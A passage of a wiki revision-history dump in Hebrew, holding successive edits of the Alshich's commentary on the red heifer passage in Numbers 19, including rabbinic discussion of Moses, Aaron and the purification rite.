או שיעור הכתוב וידבר ה' במקום שאל משה ואל אהרן לאמר, ולא כאשר שאל משה מה תקנתם כי היה אל משה ולא אל אהרן שלא היה אז אתו, והציעם לרז&quot;ל לומר כי משה שאל מאז מה תקנתם ושלא השיב לו הקדוש ברוך הוא, כי הוקשה להם למה לא נאמרה התקנה במקום שהוזכרה הטומאה. ועוד מאשר שיתף כאן את אהרן ואחר כך לא דבר כי אם עם משה לבדו, על כן אמרו שאין הכונה רק להפיס דעתו של משה שמשתף עמו את אהרן בדבר זה. ועל כן הוצרך להפיס דעתו. אך בדברו עם ישראל לא דבר הוא, שאין ראוי בל יאמרו שהוא היסב יצטרכו לכך, ואם כן אחר שעם ישראל לא יאות שידבר אהרן למה שיתפו עם משה. אך אין זה רק ששאל ולא השיב לו ונתכרכמו פניו והוצרך להפיס דעתו. 
עוד יתכן לתת טעם למה שתק הוא יתברך כששאל משה התקנה. ויותכו בזה ב' תיבות אומרו התורה ואומרו לאמר. והיות פיוס גדול למשה על מה שנתכרכמו פניו על כבוד אהרן, והוא במאמרם ז&quot;ל פרשת בראשית כי בעלילה בא הקדוש ברוך הוא על אדם הראשון שהרי אלפים שנה קודם לעולם היה כתוב בתורה אדם כי ימות באהל, וגם מלאך המות קודם לאדם שנאמר וחשך על פני תהום, ואם כן ראוי היה מאז תיקון הטומאה, על כן באומרו יתברך אמור אל הכהנים וכו' אם היה אומר שם התיקון היה נראה כי אהרן היסב הטומאה ובעבורו הוצרך התיקון לבני אהרן המוזהרים על הטומאה, על כן אז שתק ואחר כך קבע הפרשה ולא הזכיר בה טהרת הפרה בלא יראה שעל טומאת בני אהרן שהזכיר הוצרך התיקון, על כן סתם והמתיק בלשונו פיוס גמור למשה ואמר זאת חקת התורה לומר כי הלא אם עתה יבוש אהרן באמור אנכי הסבותי להצטרך תיקון זה, שאם לא כן לא היו מתים ולא היה צריך טהרה מפרה, לז&quot;א זאת חוקת התורה כלומר מצד עצמה אשר צוה ה' לאמר מאז היתה תורה בעולם אלפים שנה קודם לעולם, וזה אומרו התורה ואומרו לאמר כמאמרם ז&quot;ל כי בעלילה בא הקדוש ברוך הוא על אדם הראשון שהרי כתוב בתורה קודם שנברא העולם אדם כי ימות באהל כו'. ועל פי דרכו הורה הוא יתברך כמה חביבה הטהרה בעיניו כי רצה לזכות בה את כלם את משה שויקחו אליו ולאהרן שגם הוא עם משה יתנו אותה אל אלעזר ואת ישראל שיקחוה אל משה ואל אלעזר שיטפל בה, וגם את אשי ישראל שישקוט כי זר שוחט ואלעזר רואה כאומרו לפניו:</text>
      <sha1>0dw3l1p1gh52my8z14del7f4mx9eivo</sha1>
    </revision>
    <revision>
      <id>3020687</id>
      <parentid>3020685</parentid>
      <timestamp>2026-06-18T17:47:07Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <origin>3020687</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13261" sha1="7k0wyg30unurytxeg4bhvsosakxqqq3" xml:space="preserve">{{סרגל ניווט|אלשיך|על במדבר|יח|יט|כ}}

&lt;קטע התחלה=א/&gt;{{צ|וידבר ה' אל משה ואל אהרן לאמר. זאת חקת התורה אשר צוה ה' לאמר דבר אל בני ישראל ויקחו אליך פרה אדומה תמימה אשר אין בה מום אשר לא עלה עליה על}}. הנה יקשה אומרו לאמר זה פעמים, ועוד שהיה ראוי יאמר הצווי ואח&quot;כ יאמר והיתה זאת לכם לחק או לחקת עולם ולא יתחיל בזאת חקת כאילו אין חק זולתו בתורה. ויתכן כי למה שחוקה זו תאמץ לבב כל שומעה יותר מכל חוקי התורה כי לא בלבד היא בלי טעם כי אם גם סותרים עניניה זה את זה מטמאה את הטהורים ומטהרת הטמאים, שעל כן השטן ואומות העולם מונים את ישראל כו', ועל כן קרוב אדם להרהר אחריה, על כן אמר הוא יתברך אם תקדים אמירת הצווי אל אמור שהיא חקה לא יבצר מלהרהר בשומעם הצווי, על כן טרם הדבר אמור להם זאת חקת התורה, כלומר זאת שאני בא לאמר לכם דעו מתחלה כי חקת התורה היא ואל תהרהרו ואח&quot;כ אמור הצווי זאת חקת התורה הוא אשר צוה ה' לאמר תחלה, ואח&quot;כ צווי ויקחו אליך וכו'. 

'''או''' שיעור התכת וידבר ה' אל משה ואל אהרן לאמר לישראל זאת חקת התורה אשר צוה ה', כלומר ואין להרהר כדי לאמר ואח&quot;כ ויקחו אליך שהיא המצוה. עוד יתכן יכוין מה שאמרו ז&quot;ל במלת אליך שהוא גם שלמדתיך סוד הפרה אדומה אל תגלה סודה כ&quot;א אליך בלבד. וע&quot;ד הפשט יתכן יהיה זה מפורש במלת לאמר, והוא כי היה מקום כי להיות זאת חקה זרה ללבב למען השקיט הרהורה טוב להגיד להם סודה ליישב דעתם, לז&quot;א זאת חקת התורה שהוא דבר זר אצל השכל עם כל זה אשר צוה ה' לאמר אינו רק ויקחו אליך וכו' שהוא פשט המעשה אך לא סודה כ&quot;א יהיה לחוק בלי טעם אצלם כמ&quot;ש ז&quot;ל חוקה חקקתי גזירה גזרתי ואין להרהר אחריה. 

'''והנה''' ראוי לשים לב אל כפל מאמרם ז&quot;ל ובמלות שונות חוקה חקקתי גזירה גזרתי. ולבא אל הענין נזכירה מז&quot;ל מעשה ששאל גוי אחד את ר' יוחנן בן זכאי ואמר תורתכם היא מעשה כשפים שהטמא מת אתם מביאים אפר וזורקים עליו ואומרים טהור טהור, א&quot;ל נכנסה רוח תוות בך וכו', וא&quot;ל תלמידיו לזה דחית בקנה לנו מה אתה משיב, א&quot;ל חוקה חקקתי וכו'. והנה ממאמר זה יורה כי לא בלבד על נגדיותו שמטהר את הטמא ומטמא את הטהור הוא תימא כ&quot;א גם על מציאות הטהרה שהוא מה שהוקשה לגוי אמר על זה לתלמידיו חוקה חקקתי כו', ע&quot;כ יתכן כי שני דברים תמוהים בדבר, א' איך מטהר את הטמא. ב' איך מתהפך לטמא את הטהור. על כן הטיבו אשר דברו רז&quot;ל באומרם חוקה חקקתי על הא', גזירה גזרתי על הב' היותר תמוהה על כן אמר בה לשון גזירה. 

'''או יאמר''' בייתור מלת לאמר ואומרו התורה. ועוד התייחד בזה הדיבור אל אהרן ומה גם כי נשתנה דיבור זה מהזולת כי הנה בהחדש הזה לכם כו' מייחד הדיבור אל אהרן עמו ואומר דברו אל שני הנדברים, אך פה אומר אל משה ואל אהרן ואח&quot;כ אינו מצוה לדבר רק אל משה לבדו דבר אל בני ישראל ויקחו אליך כו', ואם הצטרף גם אהרן הוא על שעתיד לומר ונתתם אותה שיחזור אל שניהם שיתנוה, היה יכול לדבר עם משה ולומר ויקחו אליך ונתתם אותה אתה ואהרן וכו' ולא לייחד הדיבור על מה שהוא אינו מדבר.

'''ולבא''' אל הענין נשית לב להבין מז&quot;ל, והוא כי כשאמר הקב&quot;ה למשה אמור אל הכהנים בני אהרן לנפש לא יטמא כו' אמר לו משה ואם יטמאו מה תקנתם, ולא החזיר לו תשובה, נתכרכמו פניו של משה שנאמר ועוז פניו ישונא כו'. וראוי להעיר היכן נרמז ששאל משה מה תקנתם, וגם למה לא השיב לו אז תשובה עד בואו אל המקום הזה. ועוד כי הלא לא היה דבר בתורה שלא קבל משה בסיני, והיתכן שטהרת טמאי מתים לא נאמרה לו ומה גם שהיא פרשה ראשונה מהתורה, ועוד שבפירוש ארז&quot;ל כי במרה שהיה קודם מתן תורה ניתנו לישראל שבת ודינים ופרה אדומה, ואם כן מה זו שאלה ואם יטמאו מה תקנתם, ועוד אומרו נתכרכמו פניו אם הוא שנתקשה על בלתי היות תקנה היל&quot;ל תמה משה וכיוצא בזה, אך באומרו נתכרכמו פניו נראה כי נגע אל עצמו צער גדול בדבר ואיננו לפי הנראה. אך הנה זה יתבאר בהבין מאמר זולתו הלא הוא שאמרו ז&quot;ל, משל לשפחה שטינף בנה פלטין של מלך אמר המלך תבא אמו ותקנח, כך תבא הפרה שהיא אמו של עגל ותקנחהו וכו'. כי הנה במאמר ההוא יקשה כי אם היתה פרה מכפרת על העון העגל היה המשל צודק, אך לא כן הוא רק לטהר את הטמא מת. אמנם הנה בפרשת אמור כתבנו כי זוהמת נפש המביאה מיתה לאדם בהיותה כרוכה בו כנודע פסקה בהר סיני והיה לנו חירות ממלאך המות לולא העגל שהחזיר הזוהמא למקומה והסיב המיתה והטומאה כי אשר יטמא הנוגע או מאהיל עליו, לכן מי תקנח טינוף המדבר בנטמא למת על ידי העגל תבא אמו וכו', וזהו אומרו טינף פלטין של מלך שהוא האדם העובד את ה' כי היכל ה' הוא באומרו ושכנתי בתוכם ולא נאמר בתוכו. בנוגעו במת הוא העגל שהביא הזוהמא וסיבב יטמא הנוגע במת וכו', תבא אמו וכו'. ונבא אל עניינינו והוא כי לא יבצר מהיות פתחון פה לאדם לדבר ולומר כי סיבה ראשונה לזה היה אהרן כי מתחת ידו יצא העגל ההוא המביא מיתה וטומאה, והלא יהיה לאהרן לבושת מנפש ועד בשר יגיע לומר כי הוא היסב מיתה וטומאה, ולא עוד כי אם גם באומרו יתברך התיקון בפרה לא יאות יזכר אהרן בדבר פן תהיה לו למחיתה במזכרת עון, על כן מה עשה הוא יתברך שיתפו עם משה ואמר וידבר ה' אל משה ואל אהרן לאמר, כלומר וידבר ה' ענין שאל משה ואל אהרן יאות לאמר, כי כאשר אין על משה בושה על דבר העגל כי על השמים היה ויאות לו לאמר ענין זה גן גם לאהרן יאות לאמר כי לא דבק בידו מאומה מן החרם ההוא, ומה גם לרז&quot;ל האומרים כי לא נענש והתאנף בו ה' רק על שעמד והפליג לכל ישראל כל אותו היום לההביל ענין העגל שאמר לו הקדוש ברוך הוא הנה עשיתם מזידים יותר, אך לא על מעשה העגל מצד עצמו. ובזה יובן המאמר הקודם כי בשמוע משה אמור אל הכהנים בני אהרן לנפש לא יטמא הרגיש משה על כבוד אהרן כי בני אהרן נטמאים במת והוא על מה שנעשה על ידי, על כן אמר בלבו הנה לא תהיה החרפה כל כך גדולה אם יהיה תקנה בדבר, אך אם אין תקנה הוא חרפה עצומה לאהרן, והוא כי חשב שתיקון אפר פרה לטמא מת לא יהיה לזרע אהרן, יען על ידו היה בא טומאת מת לעולם ואיך יטהרו על ידי אמו של עגל, ועלה בדעתו שאומרו יתברך לבני אהרן שלא יטמאו הוא על כי אין להם תיקון, כי מה שנאמרה טהרת אפר פרה הוא לישראלים ולויים, על כן שאל אם יטמאו מה תקנתם, וע לכן כאשר שתק הקדוש ברוך הוא נתכרכמו פניו על כבוד אהרן. והנה ה' חשבה לטובה והוא כי אם היה משיב לו פרשת פרה לא היה נראה כי אפילו אהרן היה ראוי שתאמר פרשת פרה על ידו כי היה משיב לו לבדו כי לא היה אז אהרן עמו, לכן המתין עד שקבע הפרשה על שם שניהם באומרו וידבר ה' אל משה ואל אהרן לאמר, כי לא עתה יבוש אהרן בענין זה כי הנה כמוהו כמשה ראויים לאמר על ידם, וזה אומרו לאמר. ולהיות הכוונה כך כשדבר הצווי לישראל לא הוזכר רק משה לבדו כאומרו ויקחו אליך וכו', כי כל עיקר כוונת פסוק ראשון אינו אלא להשוות את שניהם בדבר כי לא ידע בכשופיהם והוא כמו שכתבנו. 

'''או''' שיעור הכתוב וידבר ה' במקום שאל משה ואל אהרן לאמר, ולא כאשר שאל משה מה תקנתם כי היה אל משה ולא אל אהרן שלא היה אז אתו, והציעם לרז&quot;ל לומר כי משה שאל מאז מה תקנתם ושלא השיב לו הקדוש ברוך הוא, כי הוקשה להם למה לא נאמרה התקנה במקום שהוזכרה הטומאה. ועוד מאשר שיתף כאן את אהרן ואחר כך לא דבר כי אם עם משה לבדו, על כן אמרו שאין הכונה רק להפיס דעתו של משה שמשתף עמו את אהרן בדבר זה. ועל כן הוצרך להפיס דעתו. אך בדברו עם ישראל לא דבר הוא, שאין ראוי בל יאמרו שהוא היסב יצטרכו לכך, ואם כן אחר שעם ישראל לא יאות שידבר אהרן למה שיתפו עם משה. אך אין זה רק ששאל ולא השיב לו ונתכרכמו פניו והוצרך להפיס דעתו. 
עוד יתכן לתת טעם למה שתק הוא יתברך כששאל משה התקנה. ויותכו בזה ב' תיבות אומרו התורה ואומרו לאמר. והיות פיוס גדול למשה על מה שנתכרכמו פניו על כבוד אהרן, והוא במאמרם ז&quot;ל פרשת בראשית כי בעלילה בא הקדוש ברוך הוא על אדם הראשון שהרי אלפים שנה קודם לעולם היה כתוב בתורה אדם כי ימות באהל, וגם מלאך המות קודם לאדם שנאמר וחשך על פני תהום, ואם כן ראוי היה מאז תיקון הטומאה, על כן באומרו יתברך אמור אל הכהנים וכו' אם היה אומר שם התיקון היה נראה כי אהרן היסב הטומאה ובעבורו הוצרך התיקון לבני אהרן המוזהרים על הטומאה, על כן אז שתק ואחר כך קבע הפרשה ולא הזכיר בה טהרת הפרה בלא יראה שעל טומאת בני אהרן שהזכיר הוצרך התיקון, על כן סתם והמתיק בלשונו פיוס גמור למשה ואמר זאת חקת התורה לומר כי הלא אם עתה יבוש אהרן באמור אנכי הסבותי להצטרך תיקון זה, שאם לא כן לא היו מתים ולא היה צריך טהרה מפרה, לז&quot;א זאת חוקת התורה כלומר מצד עצמה אשר צוה ה' לאמר מאז היתה תורה בעולם אלפים שנה קודם לעולם, וזה אומרו התורה ואומרו לאמר כמאמרם ז&quot;ל כי בעלילה בא הקדוש ברוך הוא על אדם הראשון שהרי כתוב בתורה קודם שנברא העולם אדם כי ימות באהל כו'. ועל פי דרכו הורה הוא יתברך כמה חביבה הטהרה בעיניו כי רצה לזכות בה את כלם את משה שויקחו אליו ולאהרן שגם הוא עם משה יתנו אותה אל אלעזר ואת ישראל שיקחוה אל משה ואל אלעזר שיטפל בה, וגם את אשי ישראל שישקוט כי זר שוחט ואלעזר רואה כאומרו לפניו:</text>
      <sha1>7k0wyg30unurytxeg4bhvsosakxqqq3</sha1>
    </revision>
    <revision>
      <id>3020688</id>
      <parentid>3020687</parentid>
      <timestamp>2026-06-18T17:48:58Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <origin>3020688</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13269" sha1="mi3in6e5c87xvzf80dv1odcygz4yn0g" xml:space="preserve">{{סרגל ניווט|אלשיך|על במדבר|יח|יט|כ}}

{{צ|וידבר ה' אל משה ואל אהרן לאמר. זאת חקת התורה אשר צוה ה' לאמר דבר אל בני ישראל ויקחו אליך פרה אדומה תמימה אשר אין בה מום אשר לא עלה עליה על}}.
&lt;קטע התחלה=א/&gt;(א-ב) הנה יקשה אומרו לאמר זה פעמים, ועוד שהיה ראוי יאמר הצווי ואח&quot;כ יאמר והיתה זאת לכם לחק או לחקת עולם ולא יתחיל בזאת חקת כאילו אין חק זולתו בתורה. ויתכן כי למה שחוקה זו תאמץ לבב כל שומעה יותר מכל חוקי התורה כי לא בלבד היא בלי טעם כי אם גם סותרים עניניה זה את זה מטמאה את הטהורים ומטהרת הטמאים, שעל כן השטן ואומות העולם מונים את ישראל כו', ועל כן קרוב אדם להרהר אחריה, על כן אמר הוא יתברך אם תקדים אמירת הצווי אל אמור שהיא חקה לא יבצר מלהרהר בשומעם הצווי, על כן טרם הדבר אמור להם זאת חקת התורה, כלומר זאת שאני בא לאמר לכם דעו מתחלה כי חקת התורה היא ואל תהרהרו ואח&quot;כ אמור הצווי זאת חקת התורה הוא אשר צוה ה' לאמר תחלה, ואח&quot;כ צווי ויקחו אליך וכו'. 

'''או''' שיעור התכת וידבר ה' אל משה ואל אהרן לאמר לישראל זאת חקת התורה אשר צוה ה', כלומר ואין להרהר כדי לאמר ואח&quot;כ ויקחו אליך שהיא המצוה. עוד יתכן יכוין מה שאמרו ז&quot;ל במלת אליך שהוא גם שלמדתיך סוד הפרה אדומה אל תגלה סודה כ&quot;א אליך בלבד. וע&quot;ד הפשט יתכן יהיה זה מפורש במלת לאמר, והוא כי היה מקום כי להיות זאת חקה זרה ללבב למען השקיט הרהורה טוב להגיד להם סודה ליישב דעתם, לז&quot;א זאת חקת התורה שהוא דבר זר אצל השכל עם כל זה אשר צוה ה' לאמר אינו רק ויקחו אליך וכו' שהוא פשט המעשה אך לא סודה כ&quot;א יהיה לחוק בלי טעם אצלם כמ&quot;ש ז&quot;ל חוקה חקקתי גזירה גזרתי ואין להרהר אחריה. 

'''והנה''' ראוי לשים לב אל כפל מאמרם ז&quot;ל ובמלות שונות חוקה חקקתי גזירה גזרתי. ולבא אל הענין נזכירה מז&quot;ל מעשה ששאל גוי אחד את ר' יוחנן בן זכאי ואמר תורתכם היא מעשה כשפים שהטמא מת אתם מביאים אפר וזורקים עליו ואומרים טהור טהור, א&quot;ל נכנסה רוח תוות בך וכו', וא&quot;ל תלמידיו לזה דחית בקנה לנו מה אתה משיב, א&quot;ל חוקה חקקתי וכו'. והנה ממאמר זה יורה כי לא בלבד על נגדיותו שמטהר את הטמא ומטמא את הטהור הוא תימא כ&quot;א גם על מציאות הטהרה שהוא מה שהוקשה לגוי אמר על זה לתלמידיו חוקה חקקתי כו', ע&quot;כ יתכן כי שני דברים תמוהים בדבר, א' איך מטהר את הטמא. ב' איך מתהפך לטמא את הטהור. על כן הטיבו אשר דברו רז&quot;ל באומרם חוקה חקקתי על הא', גזירה גזרתי על הב' היותר תמוהה על כן אמר בה לשון גזירה. 

'''או יאמר''' בייתור מלת לאמר ואומרו התורה. ועוד התייחד בזה הדיבור אל אהרן ומה גם כי נשתנה דיבור זה מהזולת כי הנה בהחדש הזה לכם כו' מייחד הדיבור אל אהרן עמו ואומר דברו אל שני הנדברים, אך פה אומר אל משה ואל אהרן ואח&quot;כ אינו מצוה לדבר רק אל משה לבדו דבר אל בני ישראל ויקחו אליך כו', ואם הצטרף גם אהרן הוא על שעתיד לומר ונתתם אותה שיחזור אל שניהם שיתנוה, היה יכול לדבר עם משה ולומר ויקחו אליך ונתתם אותה אתה ואהרן וכו' ולא לייחד הדיבור על מה שהוא אינו מדבר.

'''ולבא''' אל הענין נשית לב להבין מז&quot;ל, והוא כי כשאמר הקב&quot;ה למשה אמור אל הכהנים בני אהרן לנפש לא יטמא כו' אמר לו משה ואם יטמאו מה תקנתם, ולא החזיר לו תשובה, נתכרכמו פניו של משה שנאמר ועוז פניו ישונא כו'. וראוי להעיר היכן נרמז ששאל משה מה תקנתם, וגם למה לא השיב לו אז תשובה עד בואו אל המקום הזה. ועוד כי הלא לא היה דבר בתורה שלא קבל משה בסיני, והיתכן שטהרת טמאי מתים לא נאמרה לו ומה גם שהיא פרשה ראשונה מהתורה, ועוד שבפירוש ארז&quot;ל כי במרה שהיה קודם מתן תורה ניתנו לישראל שבת ודינים ופרה אדומה, ואם כן מה זו שאלה ואם יטמאו מה תקנתם, ועוד אומרו נתכרכמו פניו אם הוא שנתקשה על בלתי היות תקנה היל&quot;ל תמה משה וכיוצא בזה, אך באומרו נתכרכמו פניו נראה כי נגע אל עצמו צער גדול בדבר ואיננו לפי הנראה. אך הנה זה יתבאר בהבין מאמר זולתו הלא הוא שאמרו ז&quot;ל, משל לשפחה שטינף בנה פלטין של מלך אמר המלך תבא אמו ותקנח, כך תבא הפרה שהיא אמו של עגל ותקנחהו וכו'. כי הנה במאמר ההוא יקשה כי אם היתה פרה מכפרת על העון העגל היה המשל צודק, אך לא כן הוא רק לטהר את הטמא מת. אמנם הנה בפרשת אמור כתבנו כי זוהמת נפש המביאה מיתה לאדם בהיותה כרוכה בו כנודע פסקה בהר סיני והיה לנו חירות ממלאך המות לולא העגל שהחזיר הזוהמא למקומה והסיב המיתה והטומאה כי אשר יטמא הנוגע או מאהיל עליו, לכן מי תקנח טינוף המדבר בנטמא למת על ידי העגל תבא אמו וכו', וזהו אומרו טינף פלטין של מלך שהוא האדם העובד את ה' כי היכל ה' הוא באומרו ושכנתי בתוכם ולא נאמר בתוכו. בנוגעו במת הוא העגל שהביא הזוהמא וסיבב יטמא הנוגע במת וכו', תבא אמו וכו'. ונבא אל עניינינו והוא כי לא יבצר מהיות פתחון פה לאדם לדבר ולומר כי סיבה ראשונה לזה היה אהרן כי מתחת ידו יצא העגל ההוא המביא מיתה וטומאה, והלא יהיה לאהרן לבושת מנפש ועד בשר יגיע לומר כי הוא היסב מיתה וטומאה, ולא עוד כי אם גם באומרו יתברך התיקון בפרה לא יאות יזכר אהרן בדבר פן תהיה לו למחיתה במזכרת עון, על כן מה עשה הוא יתברך שיתפו עם משה ואמר וידבר ה' אל משה ואל אהרן לאמר, כלומר וידבר ה' ענין שאל משה ואל אהרן יאות לאמר, כי כאשר אין על משה בושה על דבר העגל כי על השמים היה ויאות לו לאמר ענין זה גן גם לאהרן יאות לאמר כי לא דבק בידו מאומה מן החרם ההוא, ומה גם לרז&quot;ל האומרים כי לא נענש והתאנף בו ה' רק על שעמד והפליג לכל ישראל כל אותו היום לההביל ענין העגל שאמר לו הקדוש ברוך הוא הנה עשיתם מזידים יותר, אך לא על מעשה העגל מצד עצמו. ובזה יובן המאמר הקודם כי בשמוע משה אמור אל הכהנים בני אהרן לנפש לא יטמא הרגיש משה על כבוד אהרן כי בני אהרן נטמאים במת והוא על מה שנעשה על ידי, על כן אמר בלבו הנה לא תהיה החרפה כל כך גדולה אם יהיה תקנה בדבר, אך אם אין תקנה הוא חרפה עצומה לאהרן, והוא כי חשב שתיקון אפר פרה לטמא מת לא יהיה לזרע אהרן, יען על ידו היה בא טומאת מת לעולם ואיך יטהרו על ידי אמו של עגל, ועלה בדעתו שאומרו יתברך לבני אהרן שלא יטמאו הוא על כי אין להם תיקון, כי מה שנאמרה טהרת אפר פרה הוא לישראלים ולויים, על כן שאל אם יטמאו מה תקנתם, וע לכן כאשר שתק הקדוש ברוך הוא נתכרכמו פניו על כבוד אהרן. והנה ה' חשבה לטובה והוא כי אם היה משיב לו פרשת פרה לא היה נראה כי אפילו אהרן היה ראוי שתאמר פרשת פרה על ידו כי היה משיב לו לבדו כי לא היה אז אהרן עמו, לכן המתין עד שקבע הפרשה על שם שניהם באומרו וידבר ה' אל משה ואל אהרן לאמר, כי לא עתה יבוש אהרן בענין זה כי הנה כמוהו כמשה ראויים לאמר על ידם, וזה אומרו לאמר. ולהיות הכוונה כך כשדבר הצווי לישראל לא הוזכר רק משה לבדו כאומרו ויקחו אליך וכו', כי כל עיקר כוונת פסוק ראשון אינו אלא להשוות את שניהם בדבר כי לא ידע בכשופיהם והוא כמו שכתבנו. 

'''או''' שיעור הכתוב וידבר ה' במקום שאל משה ואל אהרן לאמר, ולא כאשר שאל משה מה תקנתם כי היה אל משה ולא אל אהרן שלא היה אז אתו, והציעם לרז&quot;ל לומר כי משה שאל מאז מה תקנתם ושלא השיב לו הקדוש ברוך הוא, כי הוקשה להם למה לא נאמרה התקנה במקום שהוזכרה הטומאה. ועוד מאשר שיתף כאן את אהרן ואחר כך לא דבר כי אם עם משה לבדו, על כן אמרו שאין הכונה רק להפיס דעתו של משה שמשתף עמו את אהרן בדבר זה. ועל כן הוצרך להפיס דעתו. אך בדברו עם ישראל לא דבר הוא, שאין ראוי בל יאמרו שהוא היסב יצטרכו לכך, ואם כן אחר שעם ישראל לא יאות שידבר אהרן למה שיתפו עם משה. אך אין זה רק ששאל ולא השיב לו ונתכרכמו פניו והוצרך להפיס דעתו. 
עוד יתכן לתת טעם למה שתק הוא יתברך כששאל משה התקנה. ויותכו בזה ב' תיבות אומרו התורה ואומרו לאמר. והיות פיוס גדול למשה על מה שנתכרכמו פניו על כבוד אהרן, והוא במאמרם ז&quot;ל פרשת בראשית כי בעלילה בא הקדוש ברוך הוא על אדם הראשון שהרי אלפים שנה קודם לעולם היה כתוב בתורה אדם כי ימות באהל, וגם מלאך המות קודם לאדם שנאמר וחשך על פני תהום, ואם כן ראוי היה מאז תיקון הטומאה, על כן באומרו יתברך אמור אל הכהנים וכו' אם היה אומר שם התיקון היה נראה כי אהרן היסב הטומאה ובעבורו הוצרך התיקון לבני אהרן המוזהרים על הטומאה, על כן אז שתק ואחר כך קבע הפרשה ולא הזכיר בה טהרת הפרה בלא יראה שעל טומאת בני אהרן שהזכיר הוצרך התיקון, על כן סתם והמתיק בלשונו פיוס גמור למשה ואמר זאת חקת התורה לומר כי הלא אם עתה יבוש אהרן באמור אנכי הסבותי להצטרך תיקון זה, שאם לא כן לא היו מתים ולא היה צריך טהרה מפרה, לז&quot;א זאת חוקת התורה כלומר מצד עצמה אשר צוה ה' לאמר מאז היתה תורה בעולם אלפים שנה קודם לעולם, וזה אומרו התורה ואומרו לאמר כמאמרם ז&quot;ל כי בעלילה בא הקדוש ברוך הוא על אדם הראשון שהרי כתוב בתורה קודם שנברא העולם אדם כי ימות באהל כו'. ועל פי דרכו הורה הוא יתברך כמה חביבה הטהרה בעיניו כי רצה לזכות בה את כלם את משה שויקחו אליו ולאהרן שגם הוא עם משה יתנו אותה אל אלעזר ואת ישראל שיקחוה אל משה ואל אלעזר שיטפל בה, וגם את אשי ישראל שישקוט כי זר שוחט ואלעזר רואה כאומרו לפניו:</text>
      <sha1>mi3in6e5c87xvzf80dv1odcygz4yn0g</sha1>
    </revision>
    <revision>
      <id>3020689</id>
      <parentid>3020688</parentid>
      <timestamp>2026-06-18T17:49:09Z</timestamp>
      <contributor>
        <username>Do2or</username>
        <id>5565</id>
      </contributor>
      <origin>3020689</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13270" sha1="pdtyz15vo2497yautmtp51obgnsdtxk" xml:space="preserve">{{סרגל ניווט|אלשיך|על במדבר|יח|יט|כ}}

{{צ|וידבר ה' אל משה ואל אהרן לאמר. זאת חקת התורה אשר צוה ה' לאמר דבר אל בני ישראל ויקחו אליך פרה אדומה תמימה אשר אין בה מום אשר לא עלה עליה על}}.

&lt;קטע התחלה=א/&gt;(א-ב) הנה יקשה אומרו לאמר זה פעמים, ועוד שהיה ראוי יאמר הצווי ואח&quot;כ יאמר והיתה זאת לכם לחק או לחקת עולם ולא יתחיל בזאת חקת כאילו אין חק זולתו בתורה. ויתכן כי למה שחוקה זו תאמץ לבב כל שומעה יותר מכל חוקי התורה כי לא בלבד היא בלי טעם כי אם גם סותרים עניניה זה את זה מטמאה את הטהורים ומטהרת הטמאים, שעל כן השטן ואומות העולם מונים את ישראל כו', ועל כן קרוב אדם להרהר אחריה, על כן אמר הוא יתברך אם תקדים אמירת הצווי אל אמור שהיא חקה לא יבצר מלהרהר בשומעם הצווי, על כן טרם הדבר אמור להם זאת חקת התורה, כלומר זאת שאני בא לאמר לכם דעו מתחלה כי חקת התורה היא ואל תהרהרו ואח&quot;כ אמור הצווי זאת חקת התורה הוא אשר צוה ה' לאמר תחלה, ואח&quot;כ צווי ויקחו אליך וכו'. 

'''או''' שיעור התכת וידבר ה' אל משה ואל אהרן לאמר לישראל זאת חקת התורה אשר צוה ה', כלומר ואין להרהר כדי לאמר ואח&quot;כ ויקחו אליך שהיא המצוה. עוד יתכן יכוין מה שאמרו ז&quot;ל במלת אליך שהוא גם שלמדתיך סוד הפרה אדומה אל תגלה סודה כ&quot;א אליך בלבד. וע&quot;ד הפשט יתכן יהיה זה מפורש במלת לאמר, והוא כי היה מקום כי להיות זאת חקה זרה ללבב למען השקיט הרהורה טוב להגיד להם סודה ליישב דעתם, לז&quot;א זאת חקת התורה שהוא דבר זר אצל השכל עם כל זה אשר צוה ה' לאמר אינו רק ויקחו אליך וכו' שהוא פשט המעשה אך לא סודה כ&quot;א יהיה לחוק בלי טעם אצלם כמ&quot;ש ז&quot;ל חוקה חקקתי גזירה גזרתי ואין להרהר אחריה. 

'''והנה''' ראוי לשים לב אל כפל מאמרם ז&quot;ל ובמלות שונות חוקה חקקתי גזירה גזרתי. ולבא אל הענין נזכירה מז&quot;ל מעשה ששאל גוי אחד את ר' יוחנן בן זכאי ואמר תורתכם היא מעשה כשפים שהטמא מת אתם מביאים אפר וזורקים עליו ואומרים טהור טהור, א&quot;ל נכנסה רוח תוות בך וכו', וא&quot;ל תלמידיו לזה דחית בקנה לנו מה אתה משיב, א&quot;ל חוקה חקקתי וכו'. והנה ממאמר זה יורה כי לא בלבד על נגדיותו שמטהר את הטמא ומטמא את הטהור הוא תימא כ&quot;א גם על מציאות הטהרה שהוא מה שהוקשה לגוי אמר על זה לתלמידיו חוקה חקקתי כו', ע&quot;כ יתכן כי שני דברים תמוהים בדבר, א' איך מטהר את הטמא. ב' איך מתהפך לטמא את הטהור. על כן הטיבו אשר דברו רז&quot;ל באומרם חוקה חקקתי על הא', גזירה גזרתי על הב' היותר תמוהה על כן אמר בה לשון גזירה. 

'''או יאמר''' בייתור מלת לאמר ואומרו התורה. ועוד התייחד בזה הדיבור אל אהרן ומה גם כי נשתנה דיבור זה מהזולת כי הנה בהחדש הזה לכם כו' מייחד הדיבור אל אהרן עמו ואומר דברו אל שני הנדברים, אך פה אומר אל משה ואל אהרן ואח&quot;כ אינו מצוה לדבר רק אל משה לבדו דבר אל בני ישראל ויקחו אליך כו', ואם הצטרף גם אהרן הוא על שעתיד לומר ונתתם אותה שיחזור אל שניהם שיתנוה, היה יכול לדבר עם משה ולומר ויקחו אליך ונתתם אותה אתה ואהרן וכו' ולא לייחד הדיבור על מה שהוא אינו מדבר.

